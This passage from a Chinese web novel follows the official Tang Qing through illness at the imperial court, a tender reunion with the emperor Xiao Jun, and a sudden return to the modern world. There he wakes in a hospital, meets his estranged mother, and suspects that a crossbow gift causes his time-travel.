十日前从冀州北地传回战报,前线进展顺利,已找到潜入胡族王庭的路线。 尽管得知前线平安,作为等待的一方,唐青难免会忧思过甚。 他取下一张挂在架子上的软帕,拭去肌肤渗出的冷汗。 月过窗扉,投下一地清冷的银辉。 唐青坐在榻前稍微冷静片刻,逐渐把梦里带血的画面抛出脑后。 翌日,他很早就起身洗漱。 用完早膳,饮了兰香递来的参茶,待天微微亮,时辰一到,唐青乘坐马车入宫,径直去了尚书台。 今日无前线传回的消息,他与几名同僚整理近日国政奏本,务必做到事无巨细。 * 日近正午,李秀莽送热茶和点心进屋,刚进门便凝了视线。 唐青伏在案前,一头青丝斜着垂落,秋风过了窗户,发丝微微摆动。 李秀莽轻轻摆放茶盏,饶是动作足够的小心,也令浅眠中的人霎时惊醒。 唐青眯起眼眸,眺望窗外的一树黄叶。 “我又睡着了?” 李秀莽问:“近来可是没休息好?” 唐青摇摇头:“睡的时间不短,就是容易醒。” 以致于睡了比没睡还要疲累。 李秀莽皱眉,劝道:“请位御医瞧瞧。” 唐青吹了吹茶水浮起的热气,润了嗓子开口:“看完大夫,无非给我开些安神益气的方子,那些药府里还有很多。” 又道:“只是没睡好,没生什么病,不妨事。” 李秀莽仍蹙眉宇,唐青笑笑,顺手摊开一折宗卷,与其商议起各个州郡报上来的政事。 他云淡风轻,李秀莽却有些忧虑。 * 散了值,唐青离开尚书台,途径池畔,遇见亭子下的李问。 李问是专门等他的,唤了声大人,连忙抱着怀里的书卷朝他跑近。 李问拱了拱手,唐青温和道:“不必多礼。” 说着,视线落在对方怀里的书籍上,李问挠挠头,道:“这本《书算》下官又做了些调整,还请大人过目。” 唐青主张新编攥订关于算数的书籍后,得到萧隽的支持,同时把原来设立的司书监交给他监督,负责跟进此事。 于是他就把李问调到司书监帮忙。 将近两年的时间,李问耗费了诸多精力新撰了一本融合现代计算理念的《书算》,唐青看过之前修订的最新一册,能写出目前的效果已经很好了。 没成想李问精益求精,尽管得了唐青的认定,回去后再次做了改进。 唐青坐在观景亭里稍作翻阅,温声赞许。 得到赞赏的李问没有预想中的高兴,反而望着天幕,落寞而长长的叹了口气。 唐青:“何故叹气?” 李问:“大人,下官以为这是本好书,您也认为是好书,这般好的书,就该得到推行,让更多的寒门子弟,乃至百姓有机会学习。” 话一顿,李问又道:“这太难了。” 李问原本想法很天真,既有唐青主张,唐青又得圣上赞成,此事理该轻而易举。 实际上,书一年前完成编攥,可大半年过去,想要把《术算》普及下去,太难了。 听完李问的烦恼,唐青笑道:“就为此事?” 李问诧异:“大人,您不难过吗?这是咱们的心血……” 唐青:“原来我就与你说过,这是一条漫长的路,或许三五年,甚至十年,又或更久才能完成,所以我们只管耐心等待,做好分内之事就够了。” 读书的资源掌握在少数人的手里,想要把知识推广开,势必会引起阶层利益的动荡。 连根拔除太过霸道,往最坏的结果想,可能会引起叛乱。 唐青看着李问,:“温水煮青蛙便是这么个道理,耐心静候。” 与李问闲谈一番,唐青在宫门落钥前离开。 兰香备了许多他喜欢的膳食,无奈唐青胃口不大,草草填了肚子,便回房洗漱。 觉至半夜,再度醒了。 他望着地上的月色,摇摇头,忽然想起什么,起身来到书案前,拉开一格抽屉,取出里面的锦盒。 先是这两个月收到的书信,萧隽送了四封回来,他早已阅览数次,小心收着存放。 第二个锦盒里摆着两只干燥的草蚱蜢,活灵活现的。 他兀自一笑,继续打开剩下的锦盒,将萧隽送他的那把精巧的云雀弩放在手心。 也算是睹物思人吧。 第138章 第 138 章 夜深人静, 一席软榻窸窣轻响。 褥子夹了两层棉花,有些厚实,里头微微隆着, 唐青掩唇咳嗽了几声, 从不算安稳的觉眠中睁眼。 过了秋末便愈发的冷了, 唐青的身子近来也断断续续的病了一阵, 时常无力, 倦睡, 傍晚回府时受了些凉, 尽管睡前服过驱寒的姜汤,这会儿还是因为着凉,引起不止的咳症。 寝室留了一盏灯火, 落着罩子,昏昏暗暗的。 他靠在榻前,褥子盖在膝上,又是闷闷咳了几声, 坐着喘了会儿。 待缓过气息, 唐青轻舔发干的唇, 踩着床尾的银纹缎面棉鞋下榻,取了桌前的紫砂壶和杯盏,连斟两杯温水饮下。 他的房内置备了药箱,素日里能用的药一应俱全。 唐青没有惊扰值守的下人,兀自取了支药瓶,倒出药草片含在嗓子里,慢慢等待药效, 平息胸肺微喘的不适。 天蒙蒙亮,兰香备盥洗用具送入屋内时。 窗外冬景萧瑟, 唐青已着好衣物,青丝半束,坐在书案前看着书。 兰香道:“先生又这般早起。” 不等唐青开口,她又问:“可是身子不舒服?” 唐青眼下浮露微青,面上稍显无法掩饰的倦容,见此,并不瞒着她,点了点头。 "许是昨日受凉,夜里咳了一阵。" 兰香:”先生怎么不唤我?” 她懊恼自责:“这些日子您睡不稳,我该在房内守着的。” 寝屋有专供下人休息的小隔间,兰香过去偶尔宿在此处。 唐青拍了拍她的手背:“无妨,莫要自责,过会儿我看大夫就是了。” 兰香与副管事在一起后,唐青就不许她再进屋留宿照顾了。 尽管他当对方是妹子,可莫说是义亲关系,纵使血缘再亲,到了年纪,有了爱人,异性关系还是避开些比较妥当。 用完早膳,兰香早早请了大夫到府上。 大夫替他诊脉,凝神道:“大人可是长久觉得困睡,全身倦怠,或觉浅易梦,肢体酸痛。” 兰香抢着开口:“我家大人这两年确实常常困睡,稍一动静,便极易惊醒。” 唐青微微应声。 又道:“夜里胸闷,透气有些紧张。” 大夫诊完脉像,问过病症后,捋着胡须再三叮嘱:“大人体弱,加之长久劳心忧思,心脉有损,理该服药,好好调养,勿要操神了。” 继而语重心长道:“若病势再度恶化,恐会引发心疾。” 兰香一听,立刻紧张地围着大夫询问,待把人送走,她依旧心焦。 唐青微微一笑:“先坐下吧,晃得我头都晕了。” 兰香搅着手指:“大人,您还笑得出来。” 她苦着脸,满目愁容道:“仔细想来,大人这些年就没停过一刻,再如何小心照顾,您在外,总是受苦劳累,哪里能将身子养好呢。” 说罢,兰香急忙去后厨煎药,唐青看她忙前忙后,自己也没折.腾,除了卧床休息,余下的,便是去想北境前线战况如何。 这日午后,他服药睡了一会儿起来,只觉浑身乏软,连咳嗽的力气都使不上。 唐青添了衣物想到外头走走,把筋骨活动开。 兰香在院里剥菜,见他出来了,连忙跟上。 唐青摆摆手,拢好斗篷,说道:“就出街走会儿,很快回来。” 此时天色很阴,没刮什么风。 见此,兰香稍微安心,可仍不忘叮嘱:“要尽早回来,大夫交代过您不能吹风。” 唐青病容透出苍白,眉眼含了笑答应。 他出了府沿金水街徐步闲逛,没走太远,看着两道的摊位,还买了包糖炒栗子,打算带回去尝尝。 沿途折返时,摆着算卦摊的老头唤住他。 “公子可要卜卦” 唐青拎着油纸袋,没拒绝也没应声。 他笑道:“我虽敬畏鬼神,却不代表我信这些。” 老头看他抬头就走,连忙开口:“公子,天机不可泄露,泄露则阳寿折啊!” 唐青顿步,狐疑地打量对方。 “老先生何意?” 老头儿摇摇头:“老头子我也不能说太多,只能劝公子好好珍惜,唯心而已,机不可失,失不再来呐。” 唐青还欲再问,街上忽然刮起了一阵寒风。他把兜帽戴好,再回首,却见老头子收拾好支起的摊子,急匆匆地离开了。 * 又两日,唐青结束病假,更换好衣物后,摸了摸怀里那把雀儿似的小弩,进宫去了。 尚书台接到从北境送来的消息,胡族王首已经与大邺的军队交锋,鏖战三日,退败连连。 此后捷报一封接着一封,既是喜讯,本该叫唐青安心调理,可他却克制不住的兴奋,连接几宿没能睡好。 李显义见状,不免忧心,好歹好说的劝了半日,唐青答应在颐心殿住上一段日子,让宫里的御医替他把身子调养起来。 这夜,他昏昏沉沉地入眠,只觉周围很是吵闹,想分辨究竟在吵些什么,耳畔却如封上一层厚重的膜,听不清声音的源头。 待他睁眼,明黄的龙榻在夜明珠的辉映下透出微光,他合起冷汗微湿的里衣,梦境中那阵犹如幻听的吵声渐渐清晰。 殿外当真有人在扬声喧报,昭阳殿的钟声更是长鸣不绝。 唐青鞋子也来不穿,越过沉厚肃穆的殿门,向值守的宫人问:“发生何事?” 他心跳得厉害,北地冬季寒冷,迎面袭卷的夜风很快把他双颊和鼻尖吹得通红。 宫人行了礼,笑道:“回大人,是皇上回宫了。” 唐青左眼陆续跳动,他不假思索地沿长阶跑下,宫人们唤:“大人,您还未穿鞋——” 一袭月白衣袂轻盈地飘远了。 北风拂过发梢,唐青披散的落发翻飞不止,出了颐心殿,越过的仍是那道长长的乌木宫廊。 就在送别过萧隽的转角处,他倏地停下。 萧隽仍一身紫金胄甲,披风猎猎飞扬,气势锋利又冷肃,见到他,神情瞬间柔和了。 唐青正要跑去,萧隽道:“别动。” 说着话,萧隽几步来到唐青面前,目光几乎灼在他脸上,长眉忽然一紧,径直抱起他,掌心握着他的脚踝摸了摸。 “为何不穿鞋就出来。” 唐青眼也不眨:“我忘了。” 他喃喃道:“睡沉了,没能与百官迎接陛下回朝。” 萧隽抱他入了颐心殿,一边走一边解去胄甲。 二人相贴,唐青胳膊环在萧隽肩头,又忍不住搂上他的脖子,帮萧隽解去外衣。 待屏退所有宫人,萧隽抱着唐青来到榻前时,目光满是思念。 他眉宇有些疲色,嗅了嗅唐青雪白修长的颈项,英挺的鼻峰抵近,只隔着里衣,露出胸膛,把唐青贴在怀里抱。 “青儿,孤好想你。” 第139章 第 139 章 汤池里映出两道重叠的人影, 水汽氤氲,唐青微微眯着眼眸。 只见萧隽低头,他便仰颈, 右胳膊抬着, 往后绕至对方脖子上虚虚轻搂。 他这样很方便萧隽对他做点什么, 先往他眼尾落下几个湿吻。 萧隽指腹一刮, 抚着他洇出绯红的眼尾, 继而低头, 吮他胳膊上细滑莹润的肌肤。 唐青缩回手, 愈发往背后的胸.膛倚去,笑道:“痒。” 温暖的水下,一只大掌牢牢锢着他。 萧隽英挺的鼻梁滚落几滴水珠, 目光淬着火,却耐心细致地丈量掌下寸寸肌肤,喑哑而怜惜道:“瘦了。” 唐青与他对视,萧隽也瘦了, 面有些倦色, 但精神很好, 周身散发着一股从战场上涤荡而来的锋锐气息。 在汤泉里泡了一阵,萧隽打横抱起已经暖和的唐青起身,擦拭残留的水珠后,先用绣着金丝的柔软里衣将他裹住,继而独自穿衣。 唐青温顺地由着对方动作,萧隽穿衣时,他打量那道宽阔健实的后背, 似在寻找什么。 萧隽回首,笑道:“可看出什么了?” 唐青摇头, 庆幸没有再添新伤。 正值深夜,宫人送来几道膳食。 萧隽盯着唐青吃了少许,等他不吃以后,才把剩下的全部解决。 二人稍作洗漱,外头落雪,梅香凛冽,殿内却满室温暖。 萧隽拥着唐青,让他枕在自己的臂弯里,双目睁着,始终看着他。 唐青靠在萧隽胸腔,侧耳倾听心跳,沉稳有力的微震让他悬了几个月的心逐渐踏实,遂温温一笑,抬手遮住萧隽的眉眼。 “怎么回来以后就一直这般看我?” 萧隽:“想看你。” 丝毫不掩饰欲.望和野心,唐青微微垂眸。 里衣宽松,系得并不严实,他小腿轻轻勾了勾,挨着萧隽腿侧蹭了一记,若有若无的,欲语还休。 得到信号的萧隽目光瞬间黯下,他克制地触着唐青的眉心轻吻,喉结滚了滚,大掌贴着细滑的肌肤,哑道:“孤想要青儿。” 但此时不能要。 再过两个时辰就要早朝,萧隽舍不得把唐青折.腾完再让他去议会。 “青儿好生休息,孤守着你。” 唐青小腿搭了过去,见状,有些讪讪地收起。 萧隽将他小腿缠了起来,完全裹在怀里,拥着他哄他入睡。 近四个月唐青的睡眠质量直线下降,这会儿内心安稳,不多时就沉入梦里。 ** 翌日,百官上朝。 唐青一袭官服,身姿如竹般位列前排。 他与金銮宝座上的帝王目光相接,少许怔松后,率先错开视线。 此行萧隽亲征北上剿降胡人,比计划中的还要顺利。 胡族王庭内部嫌隙颇多,又逢旱年,稍加利用挑拨,在大邺五十万强将精锐的骑军围困下,整个王庭瓦解离析。 老胡王的首级已叫萧隽取下,胡人归顺,如今区域需要重新划分,文化,经济将会一统。 大邺与胡地相连,百姓融合,教化胡人百姓,诸多事宜,都在朝会上相继安排了官员负责。 会议一散,唐青先去了一趟尚书台,与几名同僚整理从胡境送来的卷宗秘档。 萧隽也要召集各名官员私下议会,二人各自忙碌,连午膳都没时间一起用。 傍晚时灰蒙蒙的云层陆续飘下雪花,唐青赶忙合起窗户,扫开案几的碎雪。 案几上摆置了一个沙漏,已到散值的时辰。 楼下热闹起来,刚下值,苏少游吆上李秀莽和陈霑等人去瑞福楼吃一顿,到了唐青跟前,自是不好相邀。 唐青每日下值都会被李显义亲自接往颐心殿,他们哪敢跟皇上抢人。 唐青笑道:“你们玩得尽兴。” 几人与他在门外道别,不久,李显义来了,请他乘上御撵。 天一冷,外头风雪交加,每每接送,都是帝王规格的明黄色御撵,昭示着萧隽独一份的心意和宠爱。 唐青起初还推拒,而今满朝皆知两人的关系,所以就随对方去了。 来到颐心殿,他在门后解下狐白斗篷递给宫人,一股温暖和沉香的气息拂面而来。 自从与他在一起,萧隽惯用的麝香香料换成了沉香,醇厚中和的味道,长久使用对身子薄弱的人有益,给人踏实沉稳的感觉。 刚过珠帘,立在黄花梨木案前临字的萧隽唤了他一声,唐青刚走近,一条手臂瞬间揽上他的腰肢。 他顺着萧隽临字的帖子细瞧,像是胡人当地的诗谣。 萧隽掷开狼毫,直接把他抱起。 唐青胳膊轻环对方肩头,好笑道:“陛下,何须时时都抱着我走。” 萧隽把他放在腿上,给他喂了点温润的雪梨羹,将他的肩侧的发丝拨至颈后,又情不自禁地轻嗅,道:“先用膳,再喝药。” 唐青的药从一日两剂变为三剂,他仰眸叹息,萧隽不忍,拥着他贴在唇畔啄吻几记,低声安慰。 “御医说你身子虚弱,这段日子孤会好好看着你调理。” 唐青:“中药很苦。” 萧隽:“孤已命刘执将你的药制成丸状,如此方便服用,不会叫青儿怕苦。” 唐青靠着萧隽不说话。 待宫人传送膳食上桌,唐青吃了将近一碗。 饭后服用汤药,险些把吃进去的吐出来。 他蹙眉,萧隽用软帕擦拭他湿润的嘴角,吻去苦涩的药渍。 唐青倚在萧隽怀里,明黄的龙榻渐渐模糊。 药效起来很快,他觉得发困,浑身没什么力气,本来还想与萧隽多说一会儿话,脸一偏,贴在萧隽怀里睡了。 殿内寂然,萧隽静静拥着唐青,抚他精致消瘦下去的下巴,隐约不安。 * 当夜起了一场大雪,尽管室内温暖,可唐青身子敏.感,气候陡变,半夜立刻发了一场冷汗,还觉得透不过气。 他闷在褥子里咳了几声,很快被萧隽扶起。 萧隽掌心抵在他背后安抚轻拍,遣宫人召几名御医过来。 唐青勉力掀开沉重的眼皮,胸腔里有些许疼,尚在能忍的程度。 “青儿,身子有哪里不适?” 他哑声道:“无妨,这段日子习惯了,半夜偶尔醒一阵,喝了药缓一缓就好。” 萧隽给他喂了半盏温水,又低头沿着泛白的唇吻了吻,好叫他唇上有些血色。 唐青望着近在咫尺的面孔,只觉得眼前的人有些朦胧。 他抚上萧隽深锁的眉头:“莫要皱眉。” 说着舔了舔干涩的嘴角,复又被吻上。 萧隽慢慢滋润他的唇瓣,唐青试图推了一把:“别,万一把病气过给你怎么办。” 萧隽与他扣着手指相牵:“这样也好,孤身骨健实,恢复得快。” 第140章 第 140 章 唐青这次病情总不见彻底好转, 卧床几日,白天稍能缓着一口气,到了深夜, 症状就又加重起来。 萧隽夜里守着他, 待天际浮出少许灰白, 他服用的药完全起效后方才迷糊倦怠地睡下。 这日无雪, 风也极小。 颐心殿的地龙时时烧着, 唐青阖起的长睫轻轻掀开, 他有些无神, 望了片刻御榻旁的璎珞流苏,还没出声,只听候在不远的兰香开口:“先生, 您醒了。” 萧隽白日需得理政,怕他使唤宫人不习惯,就遣人接了兰香进宫照顾。 唐青近来胸闷,兰香担心他透气不舒服, 轻柔地扶他靠在榻前坐好, 很快送了盏温水喂他。 清水里兑了少许蜂蜜, 滋润着唐青久咳干涩疼痛的嗓子。 兰香问:“先生觉得如何,可要吃点东西?” 说罢,她心里一阵发酸。 唐青没什么胃口,可瞥见兰香充满关怀的神色,勉打起精神,话锋一转,道:“是有些饿了。” 兰香像领了道神圣的使命般, 立即出去传膳。 不久,兰香架起一张小梨木茶几, 上头摆着冒热气的牛乳粥,再搭配一碟拇指大小的汤汁包子,酥软可口的莲子山药饼,除了包子,多为清甜口味的食物。 唐青一日三剂汤药,嗓子眼时时发苦,用些甜食,可暂缓苦涩。 他舀了勺牛乳粥,吹了会浮出的热气,徐徐喝下。 约莫半碗下腹,他就失去胃口,兴致缺缺地尝了片莲子山药饼,而后倚在坐榻里,神情有点恹恹的。 兰香见他如此,满腹酸涩,问道:“先生可想躺会儿?” 唐青:“日夜卧着,骨头都使不上力气。” 他起身,兰香扶着他的胳膊,短短一段距离,走到窗后却叫唐青喘了半晌。 望着外面的几树红梅,还不到最烂漫的时候,枝头新结了几朵颜色尚浅的花苞,他静静打量,想去外面走走。 兰香迟疑:“先生不可受凉,就在殿里待着吧。” 唐青没有强求,也十分配合,只在窗后驻足片刻。 这些日子他时常觉得倦乏,从心口涌起绵软无力的感觉。 不消几时,便回到榻前坐好。 兰香小心翼翼跟在后面,他微微摇头,道:“守了我大半日,先下去休息吧。” 说着,安静靠回榻前。 养病期间,临字看书都成了极易消耗精力的事情,唐青昏沉地靠在榻里,左手探入棉软的缎枕下,摸索一阵。 他把那支带在身边的云雀弩取出拿在手里把玩,好让自己打起几分精神。 * 萧隽散了会便赶回,连奏折都带回寝殿处理。 唐青听到动静就醒了,手上还虚虚握着睡前拿来玩的小弩。 萧隽把他抱起来靠在怀里:“可是乏了?” 唐青含糊回应,萧隽一手揽着他的腰,一手腾出来倒水,给他喂了半杯。 唐青摇头:“睡前喝过牛乳粥。” 为了照顾肠胃,这一个多月每天都汤汤水水的服用,膳食也多以稀粥为主,连喝水都变得乏味煎熬。 他推开萧隽掌心,嘴角随即印下炽热的触感。 萧隽薄唇触着他,问:“喝了多少?” 唐青:“……差不多半碗。” 萧隽赞叹:“青儿好乖。” 唐青别过眉眼,玉似的耳垂薄红。 服药期间胃口不好,每每喝完药,或多吃了几口膳食,萧隽总不吝啬的抱着他赞许,一会儿说他很乖、很棒。 如此这般,倒叫唐青生出几分羞赧,毕竟他都过了而立之年,哪里还需要这般哄劝。 他指尖捂在萧隽嘴唇上:“莫要说了。” 萧隽顺势握着他的手指轻吻,一边拥着他,一边批阅折子,间或说些地方呈报上来的趣闻给唐青解闷。 萧隽有心让唐青精神起来,奈何熬不过半时辰,人又倦倦地靠在他怀里睡下了。 当前收复胡族,普天欢庆。 萧隽整颗心却始终沉着,自回邺都后不敢松懈。 他细细注视脆弱美丽的青年,把人揽在怀里。 萧隽在政权上素来雄心勃勃,这会儿竟然开始萌生几许悔意。 若他没有北上进剿胡人,而是守在唐青身边,会不会就能守好唐青,而非抱着苍白倦怠的人束手无策。 * 当夜暴雪,云层黑厚,雪花带着响落在宫檐上,扰人内心不安。 唐青服了药不久便发起热症,起初是低低的热温,不消半刻开始高热不退。 此时他已然烧得两颊酡红,红唇泛白,如瞬间失水的花瓣。 萧隽大惊,掌心摸着他热乎乎的额头,见他气息紧促,很难透气,便抱起他让他靠在怀里,厉声冷呵:“快宣刘执!” “青儿,青儿?” 萧隽不断唤着怀里的青年,见他气喘面红,脖颈和发际都是冷汗,先用袖子擦了擦,随即让他先靠在榻前,迅速赤着脚下床,将梨木架上的绸面软巾取下。 唐青半阖眼眸,瞥见萧隽急忙慌乱的样子,想开口安慰几句,甫一动唇,心口的疼痛和窒息如潮水把他淹没,比以往任何一次发病都来得猛烈。 只这瞬间,唐青气息透不上来,心口犹如巨石堵塞,痛得他咬唇低吟。 倏地,腹部浮起一股温热,紧接而来的是一道逐渐明亮灼人的白光。 唐青笼在如白昼明烈的光亮下,他模模糊糊看见萧隽满目震恸地朝他扑来,嘴里似在喊着什么,耳朵却封了层禁制般,只余寂静。 白光刺得他泪水沿着眼尾滑落,最后再也忍受不住闭上眼,身体霎时间沉向很遥远的地方。 ** 过了很久,唐青耳边恢复了一点声响。 他好像听到有人从身边急速走过,不止一个人在周围,脚步声非常错乱。 渐渐地,他竭力抖开沉重的眼皮,白光晃得他双目眩晕。 此刻他躺在便携救护床上,罩着氧气瓶,身边几个白褂的青年推着救护床,断断续续地开口说话。 唐青眨了眨无神的眼睛,集中精力听了会儿,后知后觉地听出几句医疗术语。 他疲累至极,身上难受得厉害。 此后便是两眼一黑,失去所有感知。 140-143 第141章 第 141 章 唐青醒来时, 发现自己正躺在单人病房里。 四周飘着一股消毒水气味,窗户落下帘子,阳光柔和地半透进来, 室内安静而敞亮。 他的视线从身前转移到一旁桌上的仪器, 此时自己身上安置了临时起搏器, 胸口那股沉重的闷痛和窒息感消失了。 门口忽然被人从外面推开, 关棠见他醒了, 立刻到床头坐下, 打量着, 松了口气,说:“总算醒了。” 说完,按了按旁边的呼叫铃, 没多久就有医生过来。 医生检查了唐青的身体,并告知他的病情。 简单交涉之后,医生接着去看其他病人。 唐青有些茫茫地和关棠对视了一眼,视线又落在病房周围。 关棠问:“怎么会突然爆发心肌炎, 接到电话的时候, 差点给我吓死。” 关棠在医院有朋友, 上次来医院看了唐青几次,朋友对他还留着印象。 昨天接到电话,关棠立刻就赶来了医院帮唐青办理住院手续。 唐青慢慢眨动眼睛,哑声说:“可能是长期疲劳所致,这次又麻烦你了,谢谢你,关棠。” 关棠狐疑:“怎么会长期疲劳, 你不是在度假么?” 说完,看着套在病服下的清瘦青年, 面色有些古怪。 “你原来的衣服已经收起来了,唐青,你……是不是遇到什么困难,如果需要帮忙,可以跟我说。” 关棠家世不错,在枫林市或多或少都有些关系。唐青两次被送来医院急救,而且身上都穿着奇怪的服饰,这让他不得不产生怀疑。 唐青依然沉默。 又过一会儿,关棠没有离开。他抬眸迎上对方忧切的目光,心念微动,考虑着要不要把自己穿越的事情坦白相告。 话到嘴边,他忽然想起那天出府闲逛时遇到的老头,老头说了句奇怪的话。 天机不可泄露,泄露则阳寿折。 …… 唐青默默闭上嘴巴,冲关棠很轻地摇头:“没什么事,别担心。” 关棠乱抓了一把打理过的短发,长叹一声。 下午,唐青身上的临时起搏器被取了下来。 关棠陪他去做了一趟检查,午后还有点比较重要的工作处理,帮他请了名护工照顾,交代几句,还给他带了一支手机就离开了。 唐青喝过半碗肉沫青菜粥,短暂地睡了会儿。 再醒来时刚过傍晚,护士推了车到病房内,帮他量了体温和血压,和他聊了几分钟才走。 门口合上,房里再次恢复安静。 唐青打量静悄悄的周围,忽然拿起放在桌面上的手机。 关棠已经把常用的软件全部安装了,他登录微信,收到对方的消息,打字回了几句,又转了一笔钱给过去。 关棠语音问:“我跟你什么关系,不用给我转钱。” 唐青打字回:“收着吧,当你是朋友更不能占便宜。” 关棠又回了什么他没去听,而是打开搜索浏览器,输入关键字。 大邺,萧隽,邺武帝,还是一无所获。 他轻轻发出叹息,心神始终系在另一个时空,系在萧隽身上。 萧隽亲眼看见他消失,只怕担心坏了,可他别无办法,想破脑袋,也想不到关于穿越的任何线索。 他还能回去么? * 第二天上午,关棠翘班带了束百合还有吃的来看他。 唐青身边没几个朋友,怕他闷着,关棠特意多留着几个小时,想陪他过了中午再走。 唐青说:“不用时时陪我,有事你先去忙,可以电话联系。” 关棠说:“前阵子给你电话你都不接,发消息也不回,有了联系就是住院,我哪里经得住吓?” 唐青默然。 关棠怕他心里有负担从而回避自己,开口解释:“不想解释就不说,你的性子我又不是不了解。” 又默默补了句:“做这些是我自愿的,跟你没关系。” 唐青:“谢谢……” 关棠摆手,打开食盒,让唐青先吃点东西。 过了中午,关棠还要回公司忙点工作,就没陪他了。 唐青睡了两个小时,醒来拿着手机照旧搜索一些大邺相关的信息,一无所获后,靠在床头望着窗外。 下午三点刚过,天气有点阴,没有阳光的午后温度对于大多数人正好合适。 他下了病床,慢慢走到窗外那片草坪散步,走得有点累了,随处找了个休息的长条椅子坐下,拖鞋轻轻踩着脚下的青草,心里想着事,没注意有人靠近自己。 直到对方开口,叫他:“唐青?” 唐青僵了僵,半眯着双眼回头。 草坪不远处,一名容貌姣好,浑身散发着干练气息的中短发女人正看着他,腿边还挨着名跟她五官有点相似的小孩。 * 唐青十五岁那年父母就离了婚,二人都没有要他,各自忙着发展事业,又重新组建家庭,自打十五岁开始,他就没见过双方的任何一个人。 他看着眼前出现的女人,还有旁边这名同母异父的男孩子,实在叫不出“妈妈”或者“弟弟”,只好沉默以对。 顾雪打量他,牵起旁边小儿子的手走近。 “真的是你,刚才还以为看错了,怎么住院了,生病了吗?” 唐青摇头:“已经没事了。” 顾雪也沉默了一会儿。 面对这个儿子,她心情说不复杂是假的。 她第一段婚姻很失败,后来唐青又……出现那样的问题,对于这个特立独行的孩子,顾雪当时真的很难接受。 这些年定居国外,接触的东西多了,也见过好几对一起生活很久的同性伴侣,原来固有的一些念头随着世间慢慢淡化,偶尔想联系唐青,却不知道怎么做才合适。 唐青起身:“没事的话我先回病房休息了。” 顾雪开口说:“我半个月前回国,带威廉和小远来办点事情。小远有些水土不服,今天正好带来医院检查,你……” 唐青:“没什么事的话,我就不打扰你们了。” 他看着那名大概十岁左右的男孩子,又看了一眼顾雪:“早日康复。” 唐青离开得有点匆忙,回了病房,思绪暂时从大邺相关的一切牵回到顾雪身上。 时间不是良药,可良药确实就在时间里。 对于很久以前就缺失的亲人,这么多年过去,唐青早就忘却了曾经的感觉。 现在突然见面,谈不上怨,更没有恨,可总归有点怅然。 这些惆怅跟其他情绪无关,或许只是出于久别重逢的缘故,看到与他血脉至亲的人产生的反应。 他坐在床尾,直到天色渐渐暗下。 护士来给他量了体温和血压,唐青吃过晚餐服药后休息了一会儿,没多久叫来护工。 他让护工帮他把昏迷时穿的衣物送来,衣服洗过,连同衣服送到手里的,还有那支云雀弩。 护工对这身衣服很好奇,问了几句,唐青解释说是自己的爱好。 日常中越来越多的人穿着汉服,护工对此没觉得太奇怪,反而对他一个男人留着长发好奇。 第一次看到男人留这么长的头发,气质和容貌说不出的好看,给人很特别的感觉。 唐青温和一笑,把护工打发离开,之后翻着衣衫,又拿起云雀弩打量。 这一打量,才发现上次出现的裂痕居然变得更深了。 他穿回来前除了那道白光,当时腹部升起一阵灼热,有东西烫着他。 那会儿他恰好把这支小巧的弩机放在衣服里…… 联想两次穿越,云雀弩都在他身上,并且都出现了裂缝…… 唐青又想到萧隽曾经告诉他的话。 云雀弩出自一名老工匠打造,用的材质很是特殊,说是多年前流传下来的天石造成…… 还有那个摆摊老头的话…… 多种信息在他穿越的时候串联起来,唐青沉思很久,不禁疑惑。 他两次穿越的契机,或者介质,会是因为这支云雀弩吗? 第142章 第 142 章 五天后, 唐青的身体情况趋于平稳,被告知可以出院了。 他上午做了最后一次检查,顺便在微信上把这件事告诉关棠, 然后独自办理了出院手续。 刚走出缴费大厅, 就看到顾雪, 对方像是特意在等他。 稍一迟疑, 四周缴费的人已经陆续看了过来。 唐青也知道蓄着长发的自己容易引人瞩目, 没多逗留, 走到顾雪面前, 微微低头注视多年生疏的母亲,平静地开口。 “换个地方说话吧。” 顾雪跟他回了病房,掩上门后, 二人对视,在彼此眼中看到了些许不自在,多年未见的母子总归已经疏远。 顾雪先开口:“你自己出院,有车么, 我送你?” 唐青很轻地摇头:“可以软件打车, 不用麻烦了。” 顾雪讪讪, 强硬了几乎半生的女人,这会儿难得有些愧疚。 前些年事业稳定以后,她也慢慢尝试回归家庭,和丈夫孩子断断续续外出旅游几年,性子倒没从前那么强硬了。 这个她十几年前就割舍的孩子,原以为早就淡忘了,可只一眼, 她发现自己远比想象中的还要记得清楚。 那天碰面之后,她回去想了几天, 随即产生的,是愧疚。 顾雪没脸问出“这些年过得好么”类似的话题,目光落在床尾的蓝色行李袋上,商量着说:“我车子就停在外面,很方便送你回去。” 唐青终于偏过头,正视顾雪:“你想说什么。” 顾雪:“……” 她略为艰涩地开口:“你一个人生活,难免孤单,像现在这样生病了身边都没个人照顾……这些年是我对不起你。” 唐青目光有种平定人心的力量,顾雪话说着说着,没有起初那么困难了。 “我想接你回来,过去的事,错了就是错了,我不狡辩。现在想接你到身边生活,弥补你……可不可以再给我这个机会?” 顾雪又说:“我知道现在说这些什么都晚了,不过……” 唐青看着她,忽然叫了一声:“妈。” 这一声很平静,没夹杂任何情绪,只因为两人怀有最亲近的血缘关系,仅此而已。 顾雪愣住,瞬间接不下话。 唐青:“我现在生活稳定,不需要什么补偿,也没有改变目前状态的打算。” 顾雪张了张嘴巴,她心里再明白不过,唐青拒绝了她。 很多东西在放弃的那一刻,就没有挽回的余地。 * 和顾雪简单交谈之后,唐青乘坐上网约车回到公寓。 他软件上请了名保洁上门做卫生,中午人就离开了。 关棠去医院扑了个空,得知他已经出院,似乎生了会闷气,但很快又通过微信联系他。 唐青听着那头的语音消息,打算下午请对方吃个饭。 关棠秒答应。 ** 午后阴天,唐青睡了一觉起来,人还有些迷迷沉沉的。 他已经回来接近一周了,每天睁眼看到周围的摆设,还有种不真实的混乱感,偶尔深夜惊醒,分不清自己究竟身处大邺还是现代。 手机震动,是关棠给他的消息,说已经准备抵达约定的餐厅。 他简单收拾,看见摆在床头的那支云雀弩,本来想带在身上的,又担心万一当着关棠的面发生超出唯物主义的意外,只好暂时把弩机留在房里。 这顿饭是唐青主动请的,约在公寓附近商业圈的一家餐厅。 这边的商业圈比较冷清,餐厅没什么人,到了预定的包厢,他让关棠先点菜。 关棠点了几份大众普遍接受的菜色,又多要了一道甜品给唐青。 关棠说:“你我之间不同那么客气,知道这顿饭你想感谢我,谢就不必了,就当朋友关系吃一顿。” 唐青微微一笑,眼神里的冷淡消融,和过去相比变化实在太大了,散发着莫名让人心动的光彩,关棠不由多看了几眼。 他舔了舔嘴角,有些话忍到饭后离开餐厅才开口。 唐青安静地走在人行道内侧,关棠故意没开车,想跟他多走一会儿。 “唐。” 唐青侧过脸:“怎么了。” 